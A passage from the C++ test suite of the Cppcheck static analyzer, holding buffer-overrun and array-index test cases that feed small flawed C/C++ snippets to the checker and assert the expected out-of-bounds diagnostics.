< N) && (c < 1); i++) {\\n\"\n \" if (words[i][0] == '|')\\n\"\n \" c++;\\n\"\n \" }\\n\"\n \" return c;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_for_continue() {\n // #3913\n check(\"void f() {\\n\"\n \" int a[2];\\n\"\n \" for (int i = 0; i < 2; ++i) {\\n\"\n \" if (i == 0) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a[i - 1] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int maybe();\n check(\"void f() {\\n\"\n \" int a[2];\\n\"\n \" for (int i = 0; i < 2; ++i) {\\n\"\n \" if (maybe()) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a[i - 1] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (error) Array 'a[2]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_for() {\n // Ticket #2370 - No false negative when there is no \"break\"\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 20; ++i) {\\n\"\n \" if (i==1) {\\n\"\n \" }\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (error) Array 'a[10]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // Ticket #2385 - No false positive\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 20; ++i) {\\n\"\n \" if (i<10) {\\n\"\n \" } else {\\n\"\n \" a[i-10] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #3893 - start value out of bounds\n // extracttests.start: int maybe(); int dostuff();\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 10; maybe(); dostuff()) {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // #7686\n check(\"char f() {\\n\"\n \" char buf[10];\\n\"\n \" const bool a = true, b = true;\\n\"\n \" for (int i = 0; i < (a && b ? 11 : 10); ++i)\\n\"\n \" buf[i] = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a[10] = {};\\n\"\n \" for (int n = 0; 1; ++n) {\\n\"\n \" if (a[n] < 1) {\\n\"\n \" switch (a[n]) {\\n\"\n \" case 0:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Array 'a[10]' accessed at index 9998, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_for_neq() {\n // Ticket #2211 - for loop using != in the condition\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i != 10; ++i) {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'a[5]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\",\n errout_str());\n }\n\n void array_index_for_question() {\n // Ticket #2561 - using ?: inside for loop\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i != 10; ++i) {\\n\"\n \" i == 0 ? 0 : a[i-1];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i != 10; ++i) {\\n\"\n \" some_condition ? 0 : a[i-1];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (error) Array 'a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i != 10; ++i) {\\n\"\n \" i==0 ? 0 : a[i-1];\\n\"\n \" a[i-1] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_for_varid0() { // #4228: No varid for counter variable\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" for (i=0; i<10; i++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_vla_for() {\n // #3221 - access VLA inside for\n check(\"void f(int len) {\\n\"\n \" char a[len];\\n\"\n \" for (int i=0; i<7; ++i) {\\n\"\n \" a[0] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_extern() {\n // Ticket #1684. FP when using 'extern'.\n check(\"extern char arr[15];\\n\"\n \"char arr[15] = \\\"abc\\\";\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_cast() {\n // Ticket #2841. FP when using cast.\n\n // Different types => no error\n check(\"void f1(char *buf) {\\n\"\n \" buf[4] = 0;\\n\"\n \"}\\n\"\n \"void f2() {\\n\"\n \" int x[2];\\n\"\n \" f1(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same type => error\n check(\"void f1(const char buf[]) {\\n\"\n \" char c = buf[4];\\n\"\n \"}\\n\"\n \"void f2() {\\n\"\n \" char x[2];\\n\"\n \" f1(x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:2]: (error) Array 'x[2]' accessed at index 4, which is out of bounds.\\n\",\n \"\",\n errout_str());\n }\n\n void array_index_string_literal() {\n check(\"void f() {\\n\"\n \" const char *str = \\\"abc\\\";\\n\"\n \" bar(str[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Array 'str[4]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char *str = \\\"abc\\\";\\n\"\n \" bar(str[4]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Array 'str[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char *str = \\\"abc\\\";\\n\"\n \" bar(str[3]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char *str = \\\"a\\tc\\\";\\n\"\n \" bar(str[4]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Array 'str[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6973\n \" const char *name = \\\"\\\";\\n\"\n \" if ( name[0] == 'U' ? name[1] : 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char **argv) {\\n\"\n \" char str[6] = \\\"\\\\0\\\";\\n\"\n \" unsigned short port = 65535;\\n\"\n \" snprintf(str, sizeof(str), \\\"%hu\\\", port);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings0, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) {\\n\" // #11020\n \" const char* p = (x == 0 ? \\\"12345\\\" : \\\"ABC\\\");\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; p[i]; i++)\\n\"\n \" s += p[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_same_struct_and_var_name() {\n // don't throw internal error\n check(\"struct tt {\\n\"\n \" char name[21];\\n\"\n \"} ;\\n\"\n \"void doswitch(struct tt *x)\\n\"\n \"{\\n\"\n \" struct tt *tt=x;\\n\"\n \" tt->name;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // detect error\n check(\"struct tt {\\n\"\n \" char name[21];\\n\"\n \"} ;\\n\"\n \"void doswitch(struct tt *x)\\n\"\n \"{\\n\"\n \" struct tt *tt=x;\\n\"\n \" tt->name[22] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (error) Array 'tt->name[21]' accessed at index 22, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_valueflow() {\n check(\"void f(int i) {\\n\"\n \" char str[3];\\n\"\n \" str[i] = 0;\\n\"\n \" if (i==10) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:3:8]: (warning) Either the condition 'i==10' is redundant or the array 'str[3]' is accessed at index 10, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char str[3];\\n\"\n \" str[i] = 0;\\n\"\n \" switch (i) {\\n\"\n \" case 10: break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:3:8]: (warning) Either the switch case 'case 10' is redundant or the array 'str[3]' is accessed at index 10, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[3];\\n\"\n \" str[((unsigned char)3) - 1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5416 FP\n \" char *str[3];\\n\"\n \" do_something(&str[0][5]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { static const int x[100]; };\\n\" // #6070\n \"const int X::x[100] = {0};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace { class X { static const int x[100]; };\\n\" // #6232\n \"const int X::x[100] = {0}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class ActorSprite { static ImageSet * targetCursorImages[2][10]; };\\n\"\n \"ImageSet *ActorSprite::targetCursorImages[2][10];\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::size_t s) {\\n\" // #10130\n \" const char a[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };\\n\"\n \" return (s > sizeof(a)) ? 11 : (int)a[s];\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(16);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15] -> [test.cpp:3:41]: (warning) Either the condition 's>sizeof(a)' is redundant or the array 'a[16]' is accessed at index 16, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f(int fd) {\\n\" // #12318\n \" char buf[10];\\n\"\n \" int size = 0;\\n\"\n \" int pos = -1;\\n\"\n \" do {\\n\"\n \" pos++;\\n\"\n \" size = read(fd, &buf[pos], 1);\\n\"\n \" } while (size > 0);\\n\"\n \" buf[pos] = '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void array_index_valueflow_pointer() {\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" int *p = a;\\n\"\n \" p[20] = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (error) Array 'a[10]' accessed at index 20, which is out of bounds.\\n\", \"\", errout_str());\n\n {\n // address of\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" int *p = a;\\n\"\n \" p[10] = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4:6]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" int *p = a;\\n\"\n \" dostuff(&p[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\"\n \" int a[X];\\n\" // unknown size\n \" int *p = a;\\n\"\n \" p[20] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[2];\\n\"\n \" char *p = (char *)a;\\n\" // cast\n \" p[4] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_function_parameter() {\n check(\"void f(char a[10]) {\\n\"\n \" a[20] = 0;\\n\" // <- cppcheck warn here even though it's not a definite access out of bounds\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:4]: (error) Array 'a[10]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(char a[10]) {\\n\" // #6353 - reassign 'a'\n \" a += 4;\\n\"\n \" a[-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char a[10]) {\\n\"\n \" a[0] = 0;\\n\"\n \" a[-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: (error) Array 'a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_enum_array() { // #8439\n check(\"enum E : unsigned int { e1, e2 };\\n\"\n \"void f() {\\n\"\n \" E arrE[] = { e1, e2 };\\n\"\n \" arrE[sizeof(arrE)] = e1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'arrE[2]' accessed at index 8, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_container() { // #9386\n check(\"constexpr int blockLen = 10;\\n\"\n \"void foo(std::array& a) {\\n\"\n \" a[2] = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_two_for_loops() {\n check(\"bool b();\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 1; b() && i < 50; i++)\\n\"\n \" sum += val[i];\\n\"\n \" if (i < 50)\\n\"\n \" sum -= val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool b();\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 1; b() && i < 50; i++)\\n\"\n \" sum += val[i];\\n\"\n \" for (; i < 50;) {\\n\"\n \" sum -= val[i];\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool b();\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 1; b() && i < 50; i++)\\n\"\n \" sum += val[i];\\n\"\n \" for (; i < 50; i++)\\n\"\n \" sum -= val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_new() { // #7690\n check(\"void f() {\\n\"\n \" int* z = new int;\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 0;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[1]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* z = new int(1);\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 0;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[1]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* z = new int{};\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 0;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[1]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* z = new int[5];\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 0;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void g() {\\n\"\n \" int* z = new int[5]();\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 1;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void h() {\\n\"\n \" int** z = new int* [5];\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = nullptr;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void h() {\\n\"\n \" int** z = new int* [5]();\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = nullptr;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void h() {\\n\"\n \" int** z = new int* [5]{};\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = nullptr;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void h() {\\n\"\n \" int** z = new int* [5]{ 0 };\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = nullptr;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_2_struct() {\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f(struct ABC *abc)\\n\"\n \"{\\n\"\n \" strcpy( abc->str, \\\"abcdef\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:16]: (error) Buffer is accessed out of bounds: abc->str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC abc;\\n\"\n \" strcpy( abc.str, \\\"abcdef\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:16]: (error) Buffer is accessed out of bounds: abc.str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f(struct ABC &abc)\\n\"\n \"{\\n\"\n \" strcpy( abc.str, \\\"abcdef\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:16]: (error) Buffer is accessed out of bounds: abc.str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"static void f()\\n\"\n \"{\\n\"\n \" struct ABC\\n\"\n \" {\\n\"\n \" char str[5];\\n\"\n \" } abc;\\n\"\n \" strcpy( abc.str, \\\"abcdef\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Buffer is accessed out of bounds: abc.str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"static void f()\\n\"\n \"{\\n\"\n \" struct ABC\\n\"\n \" {\\n\"\n \" char str[5];\\n\"\n \" };\\n\"\n \" struct ABC *abc = malloc(sizeof(struct ABC));\\n\"\n \" strcpy( abc->str, \\\"abcdef\\\" );\\n\"\n \" free(abc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:16]: (error) Buffer is accessed out of bounds: abc->str [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n\n void buffer_overrun_3() {\n check(\"int a[10];\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" for (i = 0; i <= 10; ++i)\\n\"\n \" a[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct S { int b; } static e[1];\\n\" // #11052\n \"int f() { return e[1].b; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Array 'e[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n\n void buffer_overrun_4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const char *p[2];\\n\"\n \" for (int i = 0; i < 8; ++i)\\n\"\n \" p[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'p[2]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // No false positive\n check(\"void foo(int x, int y)\\n\"\n \"{\\n\"\n \" const char *p[2];\\n\"\n \" const char *s = y + p[1];\\n\"\n \" p[1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no error here\n check(\"void f1(char *s,int size)\\n\"\n \"{\\n\"\n \" if( size > 10 ) strcpy(s,\\\"abc\\\");\\n\"\n \"}\\n\"\n \"void f2()\\n\"\n \"{\\n\"\n \" char s[3];\\n\"\n \" f1(s,20);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8] -> [test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f1(char *s,int size)\\n\"\n \"{\\n\"\n \" if( size > 10 ) strcpy(s,\\\"abc\\\");\\n\"\n \"}\\n\"\n \"void f2()\\n\"\n \"{\\n\"\n \" char s[3];\\n\"\n \" f1(s,3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char n[5];\\n\"\n \" sprintf(n, \\\"d\\\");\\n\"\n \" printf(\\\"hello!\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_6() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char n[5];\\n\"\n \" strcat(n, \\\"abc\\\");\\n\"\n \" strcat(n, \\\"def\\\");\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Buffer is accessed out of bounds: n\\n\", \"\", errout_str());\n\n check(\"void f()\\n\" // #12489\n \"{\\n\"\n \" char d[3] = {};\\n\"\n \" strcat(d, \\\"12345678\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Buffer is accessed out of bounds: d [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char d[3] = \\\"ab\\\"; \\n\"\n \" strcat(d, \\\"c\\\");\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Buffer is accessed out of bounds: d [bufferAccessOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void buffer_overrun_7() {\n // ticket #731\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2];\\n\"\n \" strcpy(a, \\\"a\\\\0\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_8() {\n // ticket #714\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[5];\\n\"\n \" for (int i = 0; i < 20; i = i + 100)\\n\"\n \" {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[5];\\n\"\n \" for (int i = 0; i < 20; i = 100 + i)\\n\"\n \" {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_9() {\n // ticket #738\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[5];\\n\"\n \" for (int i = 0; i < 20; )\\n\"\n \" {\\n\"\n \" a[i] = 0;\\n\"\n \" i += 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_10() {\n // ticket #740\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[4];\\n\"\n \" for (int i = 0; i < 4; i++)\\n\"\n \" {\\n\"\n \" char b = a[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_11() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[4];\\n\"\n \" for (float i=0; i<10.0;i=i+0.1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[4];\\n\"\n \" for (float i=0; i<10.0;i=0.1+i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_15() { // ticket #1787\n check(\"class A : public B {\\n\"\n \" char val[2];\\n\"\n \" void f(int i, int ii);\\n\"\n \"};\\n\"\n \"void A::f(int i, int ii)\\n\"\n \"{\\n\"\n \" strcpy(val, \\\"ab\\\") ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Buffer is accessed out of bounds: val [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_16() {\n // unknown types\n check(\"void f() {\\n\"\n \" struct Foo foo[5];\\n\"\n \" memset(foo, 0, sizeof(foo));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // ticket #2093\n \" gchar x[3];\\n\"\n \" strcpy(x, \\\"12\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern char a[10];\\n\"\n \"void f() {\\n\"\n \" char b[25] = {0};\\n\"\n \" std::memcpy(b, a, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_18() { // ticket #2576\n check(\"class A {\\n\"\n \" void foo();\\n\"\n \" bool b[7];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void A::foo() {\\n\"\n \" for (int i=0; i<6; i++) {\\n\"\n \" b[i] = b[i+1];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" void foo();\\n\"\n \" bool b[7];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void A::foo() {\\n\"\n \" for (int i=0; i<7; i++) {\\n\"\n \" b[i] = b[i+1];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) Array 'b[7]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_19() { // #2597 - class member with unknown type\n check(\"class A {\\n\"\n \"public:\\n\"\n \" u8 buf[10];\\n\"\n \" A();\"\n \"};\\n\"\n \"\\n\"\n \"A::A() {\\n\"\n \" memset(buf, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_21() {\n check(\"void foo()\\n\"\n \"{ { {\\n\"\n \" char dst[4];\\n\"\n \" const char *src = \\\"AAAAAAAAAAAAAAAAAAAAA\\\";\\n\"\n \" for (size_t i = 0; i <= 4; i++)\\n\"\n \" dst[i] = src[i];\\n\"\n \"} } }\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Array 'dst[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_24() { // index variable is changed in for-loop\n // ticket #4106\n check(\"void main() {\\n\"\n \" int array[] = {1,2};\\n\"\n \" int x = 0;\\n\"\n \" for( int i = 0; i<6; ) {\\n\"\n \" x += array[i];\\n\"\n \" i++; }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // ticket #4096\n check(\"void main() {\\n\"\n \" int array[] = {1,2};\\n\"\n \" int x = 0;\\n\"\n \" for( int i = 0; i<6; ) {\\n\"\n \" x += array[i++];\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void buffer_overrun_26() { // ticket #4432 (segmentation fault)\n check(\"extern int split();\\n\"\n \"void regress() {\\n\"\n \" char inbuf[1000];\\n\"\n \" char *f[10];\\n\"\n \" split(inbuf, f, 10, 